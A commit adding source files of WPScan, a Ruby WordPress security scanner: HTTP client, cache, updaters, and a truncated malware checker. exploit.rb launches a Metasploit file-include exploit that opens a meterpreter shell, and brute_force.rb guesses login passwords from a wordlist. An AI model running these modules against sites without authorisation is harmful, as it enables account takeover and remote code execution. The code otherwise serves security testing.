WPScan files
This commit is contained in:
218
lib/browser.rb
Normal file
218
lib/browser.rb
Normal file
@@ -0,0 +1,218 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
# ryandewhurst at gmail
|
||||
#
|
||||
|
||||
class Browser
|
||||
@@instance = nil
|
||||
@@user_agent_modes = ["static", "semi-static", "random"]
|
||||
|
||||
ACCESSOR_OPTIONS = [
|
||||
:user_agent,
|
||||
:user_agent_mode,
|
||||
:available_user_agents,
|
||||
:proxy,
|
||||
:max_threads,
|
||||
:cache_timeout,
|
||||
:request_timeout,
|
||||
:variables_to_replace_in_url
|
||||
]
|
||||
|
||||
attr_reader :hydra, :config_file
|
||||
attr_accessor *ACCESSOR_OPTIONS
|
||||
|
||||
def initialize(options = {})
|
||||
@config_file = options[:config_file] || CONF_DIR + '/browser.conf.json'
|
||||
options.delete(:config_file)
|
||||
|
||||
load_config()
|
||||
|
||||
if options.length > 0
|
||||
override_config_with_options(options)
|
||||
end
|
||||
|
||||
@hydra = Typhoeus::Hydra.new(:max_concurrency => @max_threads, :timeout => @request_timeout)
|
||||
# TODO : add an option for the cache dir instead of using a constant
|
||||
@cache = CacheFileStore.new(CACHE_DIR + '/browser')
|
||||
|
||||
@cache.clean
|
||||
|
||||
# might be in CacheFileStore
|
||||
setup_cache_handlers
|
||||
end
|
||||
private_class_method :new
|
||||
|
||||
def self.instance(options = {})
|
||||
unless @@instance
|
||||
@@instance = new(options)
|
||||
end
|
||||
@@instance
|
||||
end
|
||||
|
||||
def self.reset
|
||||
@@instance = nil
|
||||
end
|
||||
|
||||
def user_agent_mode=(ua_mode)
|
||||
ua_mode ||= "static"
|
||||
|
||||
if @@user_agent_modes.include?(ua_mode)
|
||||
@user_agent_mode = ua_mode
|
||||
# For semi-static user agent mode, the user agent has to be nil the first time (it will be set with the getter)
|
||||
@user_agent = nil if ua_mode === "semi-static"
|
||||
else
|
||||
raise "Unknow user agent mode : '#{ua_mode}'"
|
||||
end
|
||||
end
|
||||
|
||||
# return the user agent, accordting to the user_agent_mode
|
||||
def user_agent
|
||||
case @user_agent_mode
|
||||
when "semi-static"
|
||||
unless @user_agent
|
||||
@user_agent = @available_user_agents.sample
|
||||
end
|
||||
when "random"
|
||||
@user_agent = @available_user_agents.sample
|
||||
end
|
||||
@user_agent
|
||||
end
|
||||
|
||||
def max_threads=(max_threads)
|
||||
if max_threads.nil? or max_threads <= 0
|
||||
max_threads = 1
|
||||
end
|
||||
@max_threads = max_threads
|
||||
end
|
||||
|
||||
# TODO reload hydra (if the .load_config is called on a browser object, hydra will not have the new @max_threads and @request_timeout)
|
||||
def load_config(config_file = nil)
|
||||
@config_file = config_file || @config_file
|
||||
|
||||
data = JSON.parse(File.read(@config_file))
|
||||
|
||||
ACCESSOR_OPTIONS.each do |option|
|
||||
option_name = option.to_s
|
||||
|
||||
self.send(:"#{option_name}=", data[option_name])
|
||||
end
|
||||
end
|
||||
|
||||
def setup_cache_handlers
|
||||
@hydra.cache_setter do |request|
|
||||
@cache.write_entry(
|
||||
Browser.generate_cache_key_from_request(request),
|
||||
request.response,
|
||||
request.cache_timeout
|
||||
)
|
||||
end
|
||||
|
||||
@hydra.cache_getter do |request|
|
||||
@cache.read_entry(Browser.generate_cache_key_from_request(request)) rescue nil
|
||||
end
|
||||
end
|
||||
private :setup_cache_handlers
|
||||
|
||||
def get(url, params = {})
|
||||
run_request(
|
||||
forge_request(url, params.merge(:method => :get))
|
||||
)
|
||||
end
|
||||
|
||||
def post(url, params = {})
|
||||
run_request(
|
||||
forge_request(url, params.merge(:method => :post))
|
||||
)
|
||||
end
|
||||
|
||||
def forge_request(url, params = {})
|
||||
Typhoeus::Request.new(
|
||||
replace_variables_in_url(url),
|
||||
merge_request_params(params)
|
||||
)
|
||||
end
|
||||
|
||||
# return string
|
||||
def replace_variables_in_url(url)
|
||||
@variables_to_replace_in_url ||= {}
|
||||
|
||||
@variables_to_replace_in_url.each do |subject, replacement|
|
||||
url.gsub!(subject, replacement)
|
||||
end
|
||||
url
|
||||
end
|
||||
protected :replace_variables_in_url
|
||||
|
||||
def merge_request_params(params = {})
|
||||
if @proxy
|
||||
params = params.merge(:proxy => @proxy)
|
||||
end
|
||||
|
||||
if !params.has_key?(:disable_ssl_host_verification)
|
||||
params = params.merge(:disable_ssl_host_verification => true)
|
||||
end
|
||||
|
||||
if !params.has_key?(:disable_ssl_peer_verification)
|
||||
params = params.merge(:disable_ssl_peer_verification => true)
|
||||
end
|
||||
|
||||
if !params.has_key?(:headers)
|
||||
params = params.merge(:headers => {'user-agent' => self.user_agent})
|
||||
elsif !params[:headers].has_key?('user-agent')
|
||||
params[:headers]['user-agent'] = self.user_agent
|
||||
end
|
||||
|
||||
# Used to enable the cache system if :cache_timeout > 0
|
||||
if !params.has_key?(:cache_timeout)
|
||||
params = params.merge(:cache_timeout => @cache_timeout)
|
||||
end
|
||||
|
||||
params
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# return the response
|
||||
def run_request(request)
|
||||
@hydra.queue request
|
||||
@hydra.run
|
||||
request.response
|
||||
end
|
||||
|
||||
# Override with the options if they are set
|
||||
def override_config_with_options(options)
|
||||
options.each do |option, value|
|
||||
#if ACCESSOR_OPTIONS.include?(option)
|
||||
self.send(:"#{option}=", value)
|
||||
#end
|
||||
end
|
||||
end
|
||||
|
||||
# The Typhoeus::Request.cache_key only hash the url :/
|
||||
# this one will include the params
|
||||
# TODO : include also the method (:get, :post, :any)
|
||||
def self.generate_cache_key_from_request(request)
|
||||
cache_key = request.cache_key
|
||||
|
||||
if request.params
|
||||
cache_key = Digest::SHA1.hexdigest("#{cache_key}-#{request.params.hash}")
|
||||
end
|
||||
|
||||
cache_key
|
||||
end
|
||||
end
|
||||
52
lib/cache_file_store.rb
Normal file
52
lib/cache_file_store.rb
Normal file
@@ -0,0 +1,52 @@
|
||||
#
|
||||
# => @todo take consideration of the cache_timeout :
|
||||
# -> create 2 files per key : one for the data storage (key.store ?) and the other for the cache timeout (key.expiration, key.timeout ?)
|
||||
# or 1 file for all timeouts ?
|
||||
# -> 2 dirs : 1 for storage, the other for cache_timeout ?
|
||||
#
|
||||
|
||||
require 'yaml'
|
||||
|
||||
class CacheFileStore
|
||||
attr_reader :storage_path, :serializer
|
||||
|
||||
# The serializer must have the 2 methods .load and .dump (Marshal and YAML have them)
|
||||
# YAML is Human Readable, contrary to Marshal which store in a binary format
|
||||
# Marshal does not need any "require"
|
||||
def initialize(storage_path, serializer = YAML)
|
||||
@storage_path = File.expand_path(storage_path)
|
||||
@serializer = serializer
|
||||
|
||||
# File.directory? for ruby <= 1.9 otherwise, it makes more sense to do Dir.exist? :/
|
||||
if !File.directory?(@storage_path)
|
||||
Dir.mkdir(@storage_path)
|
||||
end
|
||||
end
|
||||
|
||||
def clean
|
||||
Dir[File.join(@storage_path, '*')].each do |f|
|
||||
File.delete(f)
|
||||
end
|
||||
end
|
||||
|
||||
def read_entry(key)
|
||||
entry_file_path = get_entry_file_path(key)
|
||||
|
||||
if File.exists?(entry_file_path)
|
||||
return @serializer.load(File.read(entry_file_path))
|
||||
end
|
||||
end
|
||||
|
||||
def write_entry(key, data_to_store, cache_timeout)
|
||||
if (cache_timeout > 0)
|
||||
File.open(get_entry_file_path(key), 'w') do |f|
|
||||
f.write(@serializer.dump(data_to_store))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_entry_file_path(key)
|
||||
@storage_path + '/' + key
|
||||
end
|
||||
|
||||
end
|
||||
85
lib/common_helper.rb
Normal file
85
lib/common_helper.rb
Normal file
@@ -0,0 +1,85 @@
|
||||
|
||||
LIB_DIR = File.dirname(__FILE__)
|
||||
ROOT_DIR = File.expand_path(LIB_DIR + '/..') # expand_path is used to get "wpscan/" instead of "wpscan/lib/../"
|
||||
DATA_DIR = ROOT_DIR + "/data"
|
||||
CONF_DIR = ROOT_DIR + "/conf"
|
||||
CACHE_DIR = ROOT_DIR + "/cache"
|
||||
WPSCAN_LIB_DIR = LIB_DIR + "/wpscan"
|
||||
WPSTOOLS_LIB_DIR = LIB_DIR + "/wpstools"
|
||||
UPDATER_LIB_DIR = LIB_DIR + "/updater"
|
||||
|
||||
WPSCAN_VERSION = "1.1"
|
||||
|
||||
require "#{LIB_DIR}/environment"
|
||||
|
||||
# TODO : add an exclude pattern ?
|
||||
def require_files_from_directory(absolute_dir_path, files_pattern = "*.rb")
|
||||
Dir[File.join(absolute_dir_path, files_pattern)].sort.each do |f|
|
||||
f = File.expand_path(f)
|
||||
require f
|
||||
#puts "require #{f}" # Used for debug
|
||||
end
|
||||
end
|
||||
|
||||
# Add protocol
|
||||
def add_http_protocol(url)
|
||||
if url !~ /^https?:/
|
||||
url = "http://#{url}"
|
||||
end
|
||||
url
|
||||
end
|
||||
|
||||
def add_trailing_slash(url)
|
||||
url = "#{url}/" if url !~ /\/$/
|
||||
url
|
||||
end
|
||||
|
||||
if RUBY_VERSION < "1.9"
|
||||
class Array
|
||||
# Fix for grep with symbols in ruby <= 1.8.7
|
||||
def _grep_(regexp)
|
||||
matches = []
|
||||
self.each do |value|
|
||||
value = value.to_s
|
||||
matches << value if value.match(regexp)
|
||||
end
|
||||
matches
|
||||
end
|
||||
alias_method :grep, :_grep_
|
||||
end
|
||||
end
|
||||
|
||||
# loading the updater
|
||||
require_files_from_directory(UPDATER_LIB_DIR)
|
||||
@updater = UpdaterFactory.get_updater(ROOT_DIR)
|
||||
|
||||
if @updater
|
||||
REVISION = @updater.local_revision_number()
|
||||
else
|
||||
REVISION = "NA"
|
||||
end
|
||||
|
||||
# our 1337 banner
|
||||
def banner()
|
||||
puts '____________________________________________________'
|
||||
puts " __ _______ _____ "
|
||||
puts " \\ \\ / / __ \\ / ____| "
|
||||
puts " \\ \\ /\\ / /| |__) | (___ ___ __ _ _ __ "
|
||||
puts " \\ \\/ \\/ / | ___/ \\___ \\ / __|/ _` | '_ \\ "
|
||||
puts " \\ /\\ / | | ____) | (__| (_| | | | |"
|
||||
puts " \\/ \\/ |_| |_____/ \\___|\\__,_|_| |_| v#{WPSCAN_VERSION}r#{REVISION}"
|
||||
puts
|
||||
puts " WordPress Security Scanner by the WPScan Team"
|
||||
puts " Sponsored by the RandomStorm Open Source Initiative"
|
||||
puts '_____________________________________________________'
|
||||
puts
|
||||
if RUBY_VERSION < "1.9"
|
||||
puts "[WARNING] Ruby < 1.9 not officially supported, please upgrade."
|
||||
puts
|
||||
end
|
||||
if @updater.is_a? SvnUpdater
|
||||
# Uncomment the following lines when the git repo is up
|
||||
#puts "[WARNING] The SVN repository is DEPRECATED, use the GIT one"
|
||||
#puts
|
||||
end
|
||||
end
|
||||
34
lib/environment.rb
Normal file
34
lib/environment.rb
Normal file
@@ -0,0 +1,34 @@
|
||||
begin
|
||||
# Standard libs
|
||||
require 'rubygems'
|
||||
require 'getoptlong'
|
||||
require 'uri'
|
||||
require 'time'
|
||||
require 'resolv'
|
||||
require 'xmlrpc/client'
|
||||
require 'digest/md5'
|
||||
require 'readline'
|
||||
require 'base64'
|
||||
require 'cgi'
|
||||
require 'rbconfig'
|
||||
require 'pp'
|
||||
# Third party libs
|
||||
require 'typhoeus'
|
||||
require 'json'
|
||||
require 'nokogiri'
|
||||
# Custom libs
|
||||
require "#{LIB_DIR}/browser"
|
||||
require "#{LIB_DIR}/cache_file_store"
|
||||
rescue LoadError => e
|
||||
puts "[ERROR] #{e}"
|
||||
|
||||
if missing_gem = e.to_s[%r{ -- ([^\s]+)}, 1]
|
||||
puts "[TIP] Try to run 'gem install #{missing_gem}' or 'gem install --user-install #{missing_gem}'. If you still get an error, Please see README file or http://code.google.com/p/wpscan/"
|
||||
end
|
||||
exit(1)
|
||||
end
|
||||
|
||||
if Typhoeus::VERSION == "0.4.0"
|
||||
puts "Typhoeus 0.4.0 detected, please update the gem otherwise wpscan will not work correctly"
|
||||
exit(1)
|
||||
end
|
||||
40
lib/updater/git_updater.rb
Normal file
40
lib/updater/git_updater.rb
Normal file
@@ -0,0 +1,40 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
require File.expand_path(File.dirname(__FILE__) + '/updater')
|
||||
|
||||
class GitUpdater < Updater
|
||||
|
||||
def is_installed?
|
||||
%x[git #{repo_directory_arguments()} status 2>&1] =~ /On branch/ ? true : false
|
||||
end
|
||||
|
||||
def local_revision_number
|
||||
# TODO
|
||||
end
|
||||
|
||||
def update
|
||||
%x[git #{repo_directory_arguments()} pull]
|
||||
end
|
||||
|
||||
protected
|
||||
def repo_directory_arguments
|
||||
'--git-dir="#{@repo_directory}.git" --work-tree="#{@repo_directory}"'
|
||||
end
|
||||
|
||||
end
|
||||
39
lib/updater/svn_updater.rb
Normal file
39
lib/updater/svn_updater.rb
Normal file
@@ -0,0 +1,39 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
require File.expand_path(File.dirname(__FILE__) + '/updater')
|
||||
|
||||
class SvnUpdater < Updater
|
||||
|
||||
@@revision_pattern = /revision="(\d+)"/i
|
||||
@@trunk_url = "https://wpscan.googlecode.com/svn/trunk"
|
||||
|
||||
def is_installed?
|
||||
%x[svn info "#{@repo_directory}" --xml 2>&1] =~ /revision=/ ? true : false
|
||||
end
|
||||
|
||||
def local_revision_number
|
||||
local_revision = %x[svn info "#{@repo_directory}" --xml 2>&1]
|
||||
local_revision[@@revision_pattern, 1].to_s
|
||||
end
|
||||
|
||||
def update
|
||||
puts %x[svn up "#{@repo_directory}"]
|
||||
end
|
||||
|
||||
end
|
||||
47
lib/updater/updater.rb
Normal file
47
lib/updater/updater.rb
Normal file
@@ -0,0 +1,47 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
# This class act as an absract one
|
||||
class Updater
|
||||
|
||||
attr_reader :repo_directory
|
||||
|
||||
# TODO : add a last '/ to repo_directory if it's not present
|
||||
def initialize(repo_directory = nil)
|
||||
@repo_directory = repo_directory
|
||||
end
|
||||
|
||||
def is_installed?
|
||||
raise_must_be_implemented()
|
||||
end
|
||||
|
||||
def local_revision_number
|
||||
raise_must_be_implemented()
|
||||
end
|
||||
|
||||
def update
|
||||
raise_must_be_implemented()
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def raise_must_be_implemented
|
||||
raise "The method must be implemented"
|
||||
end
|
||||
|
||||
end
|
||||
39
lib/updater/updater_factory.rb
Normal file
39
lib/updater/updater_factory.rb
Normal file
@@ -0,0 +1,39 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
class UpdaterFactory
|
||||
|
||||
def self.get_updater(repo_directory)
|
||||
self.available_updaters_classes().each do |updater_symbol|
|
||||
updater = Object.const_get(updater_symbol).new(repo_directory)
|
||||
|
||||
if updater.is_installed?
|
||||
return updater
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# return array of class symbols
|
||||
def self.available_updaters_classes
|
||||
Object.constants.grep(/^.+Updater$/)
|
||||
end
|
||||
|
||||
end
|
||||
209
lib/wpscan/exploit.rb
Normal file
209
lib/wpscan/exploit.rb
Normal file
@@ -0,0 +1,209 @@
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
# ryandewhurst at gmail
|
||||
#
|
||||
|
||||
# This library should contain all methods for exploitation.
|
||||
|
||||
class Exploit
|
||||
|
||||
attr_accessor :rhost, :type, :uri, :postdata
|
||||
|
||||
def initialize(wp_url, type, uri, postdata, use_proxy, proxy_addr, proxy_port)
|
||||
@wp_url = URI.parse(wp_url.to_s)
|
||||
@rhost = @wp_url.host
|
||||
@path = @wp_url.path
|
||||
@type = type
|
||||
@uri = uri
|
||||
@postdata = postdata
|
||||
@session_in_use = nil
|
||||
@use_proxy = use_proxy
|
||||
@proxy_addr = proxy_addr
|
||||
@proxy_port = proxy_port
|
||||
start()
|
||||
end
|
||||
|
||||
# figure out what to exploit
|
||||
|
||||
def start()
|
||||
if @type == "RFI"
|
||||
puts
|
||||
puts "[?] Exploit? [y/n]"
|
||||
answer = Readline.readline
|
||||
if answer =~ /^y/i
|
||||
msf_module = "exploit/unix/webapp/php_include"
|
||||
payload = "php/meterpreter/bind_tcp"
|
||||
exploit(msf_module, payload)
|
||||
else
|
||||
return false
|
||||
end
|
||||
elsif @type == "SQLI"
|
||||
end
|
||||
end
|
||||
|
||||
# exploit
|
||||
|
||||
def exploit(msf_module, payload)
|
||||
|
||||
exploit_info(msf_module,payload)
|
||||
|
||||
if @postdata == ""
|
||||
result = RpcClient.new.exploit(msf_module, {:RHOST => @rhost,:PATH => @path,:PHPURI => @uri,:PAYLOAD => payload})
|
||||
else
|
||||
result = RpcClient.new.exploit(msf_module, {:RHOST => @rhost,:PATH => @path,:PHPURI => @uri,:POSTDATA => @postdata, :PAYLOAD => payload})
|
||||
end
|
||||
|
||||
if result['result'] == "success"
|
||||
puts "[*] Exploit worked! Waiting for a session..."
|
||||
|
||||
session_spawn_timer = Time.new
|
||||
while sessions.nil? or sessions.empty?
|
||||
# wait for a session to spawn with a timeout of 1 minute
|
||||
if (Time.now - session_spawn_timer > 60)
|
||||
puts "[ERROR] Session was not created... exiting."
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
choose_session()
|
||||
|
||||
input = nil
|
||||
while input.nil?
|
||||
puts meterpreter_read(last_session_id())
|
||||
input = Readline.readline
|
||||
if input == "exit"
|
||||
kill_session(@session_in_use)
|
||||
return false
|
||||
end
|
||||
meterpreter_write(last_session_id(), input)
|
||||
input = nil
|
||||
end
|
||||
|
||||
else
|
||||
puts "[ERROR] Exploit failed! :("
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# output our exploit data
|
||||
|
||||
def exploit_info(msf_module,payload)
|
||||
info = RpcClient.new.get_exploit_info(msf_module)
|
||||
puts
|
||||
puts "| [EXPLOIT]"
|
||||
puts "| Name: " + info['name']
|
||||
puts "| Description: " + info['description'].gsub!("\t", "").gsub!("\n\n","\n").gsub!("\n", "\n| ").chop!
|
||||
puts "| [OPTIONS]"
|
||||
puts "| RHOST: " + @rhost
|
||||
puts "| PATH: " + @path
|
||||
puts "| URI: " + uri
|
||||
puts "| POSTDATA: " + @postdata if @postdata != ""
|
||||
puts "| Payload: " + payload
|
||||
puts
|
||||
end
|
||||
|
||||
# not sure if this is needed?! not used.
|
||||
|
||||
def job_id()
|
||||
jobs = RpcClient.new.jobs()
|
||||
puts jobs
|
||||
end
|
||||
|
||||
# all sessions and related session data
|
||||
|
||||
def sessions()
|
||||
sessions = RpcClient.new.sessions()
|
||||
end
|
||||
|
||||
# the last active session id created
|
||||
|
||||
def last_session_id()
|
||||
sessions.keys.last
|
||||
end
|
||||
|
||||
# a count of the amount of active sessions
|
||||
|
||||
def session_count()
|
||||
sessions().size
|
||||
end
|
||||
|
||||
# if there is more than 1 session,
|
||||
# allow the user to choose one.
|
||||
|
||||
def choose_session()
|
||||
if session_count() >= 2
|
||||
puts "[?] We have " + session_count().to_s + " sessions running. Please choose one by id."
|
||||
open_sessions = ""
|
||||
sessions.keys.each do |open_session|
|
||||
open_sessions += open_session.to_s + " "
|
||||
end
|
||||
puts open_sessions
|
||||
use_session = Readline.readline
|
||||
puts "Using session " + use_session.to_s
|
||||
@session_in_use = use_session
|
||||
else
|
||||
puts "Using session " + last_session_id().to_s
|
||||
@session_in_use = last_session_id()
|
||||
end
|
||||
end
|
||||
|
||||
# kill a session by session id
|
||||
|
||||
def kill_session(id)
|
||||
begin
|
||||
killed = RpcClient.new.kill_session(id)
|
||||
if killed['result'] == "success"
|
||||
puts "[-] Session " + id.to_s + " killed."
|
||||
end
|
||||
rescue
|
||||
puts "[] Session " + id.to_s + " does not exist."
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# read data from a shell, meterpreter is not classed
|
||||
# as a shell.
|
||||
|
||||
def read_shell(id)
|
||||
RpcClient.new.read_shell(id)['data']
|
||||
end
|
||||
|
||||
# write data to a shell, meterpreter is not classed
|
||||
# as a shell.
|
||||
|
||||
def write_shell(id, data)
|
||||
RpcClient.new.write_shell(id, data)
|
||||
end
|
||||
|
||||
# read data from a meterpreter session
|
||||
# data must be base64 decoded.
|
||||
|
||||
def meterpreter_read(id)
|
||||
Base64.decode64(RpcClient.new.meterpreter_read(id)['data'])
|
||||
end
|
||||
|
||||
# write data to a meterpreter session
|
||||
# data must be base64 encoded.
|
||||
|
||||
def meterpreter_write(id, data)
|
||||
RpcClient.new.meterpreter_write(id, Base64.encode64(data))
|
||||
end
|
||||
|
||||
end
|
||||
116
lib/wpscan/modules/brute_force.rb
Normal file
116
lib/wpscan/modules/brute_force.rb
Normal file
@@ -0,0 +1,116 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
# ryandewhurst at gmail
|
||||
#
|
||||
|
||||
module BruteForce
|
||||
|
||||
# param array of string logins
|
||||
# param string wordlist_path
|
||||
def brute_force(logins, wordlist_path)
|
||||
hydra = Browser.instance.hydra
|
||||
number_of_passwords = BruteForce.lines_in_file(wordlist_path)
|
||||
login_url = login_url()
|
||||
|
||||
logins.each do |login|
|
||||
queue_count = 0
|
||||
request_count = 0
|
||||
password_found = false
|
||||
|
||||
File.open(wordlist_path, 'r').each do |password|
|
||||
|
||||
# ignore file comments, but will miss passwords if they start with a hash...
|
||||
next if password[0,1] == '#'
|
||||
|
||||
# keep a count of the amount of requests to be sent
|
||||
request_count += 1
|
||||
queue_count += 1
|
||||
|
||||
# create local vars for on_complete call back, Issue 51.
|
||||
username = login
|
||||
password = password
|
||||
|
||||
# the request object
|
||||
request = Browser.instance.forge_request(login_url,
|
||||
:method => :post,
|
||||
:params => {:log => username, :pwd => password},
|
||||
:cache_timeout => 0
|
||||
)
|
||||
|
||||
# tell hydra what to do when the request completes
|
||||
request.on_complete do |response|
|
||||
|
||||
puts "\n Trying Username : #{username} Password : #{password}" if @verbose
|
||||
|
||||
if response.body =~ /login_error/i
|
||||
puts "\nIncorrect username and/or password." if @verbose
|
||||
elsif response.code == 302
|
||||
puts "\n [SUCCESS] Username : #{username} Password : #{password}\n"
|
||||
password_found = true
|
||||
elsif response.timed_out?
|
||||
puts "ERROR: Request timed out."
|
||||
elsif response.code == 0
|
||||
puts "ERROR: No response from remote server. WAF/IPS?"
|
||||
elsif response.code =~ /^50/
|
||||
puts "ERROR: Server error, try reducing the number of threads."
|
||||
else
|
||||
puts "\nERROR: We recieved an unknown response for #{password}..."
|
||||
if @verbose
|
||||
puts 'Code: ' + response.code.to_s
|
||||
puts 'Body: ' + response.body
|
||||
puts
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# move onto the next username if we have found a valid password
|
||||
break if password_found
|
||||
|
||||
# queue the request to be sent later
|
||||
hydra.queue(request)
|
||||
|
||||
# progress indicator
|
||||
print "\r Brute forcing user '#{username}' with #{number_of_passwords} passwords... #{(request_count * 100) / number_of_passwords}% complete."
|
||||
|
||||
# it can take a long time to queue 2 million requests,
|
||||
# for that reason, we queue @threads, send @threads, queue @threads and so on.
|
||||
# hydra.run only returns when it has recieved all of its,
|
||||
# responses. This means that while we are waiting for @threads,
|
||||
# responses, we are waiting...
|
||||
if queue_count >= Browser.instance.max_threads
|
||||
hydra.run
|
||||
queue_count = 0
|
||||
puts "Sent #{Browser.instance.max_threads} requests ..." if @verbose
|
||||
end
|
||||
end
|
||||
|
||||
# run all of the remaining requests
|
||||
hydra.run
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Counts the number of lines in the wordlist
|
||||
# It can take a couple of minutes on large
|
||||
# wordlists, although bareable.
|
||||
def self.lines_in_file(file_path)
|
||||
lines = 0
|
||||
File.open(file_path, 'r').each { |line| lines += 1 }
|
||||
lines
|
||||
end
|
||||
end
|
||||
59
lib/wpscan/modules/malwares.rb
Normal file
59
lib/wpscan/modules/malwares.rb
Normal file
@@ -0,0 +1,59 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
module Malwares
|
||||
# Used as cache : nil => malwares not checked, [] => no malwares, otherwise array of malwares url found
|
||||
@malwares = nil
|
||||
|
||||
def has_malwares?(malwares_file_path = nil)
|
||||
!malwares(malwares_file_path).empty?
|
||||
end
|
||||
|
||||
# return array of string (url of malwares found)
|
||||
def malwares(malwares_file_path = nil)
|
||||
if @malwares.nil?
|
||||
malwares_found = []
|
||||
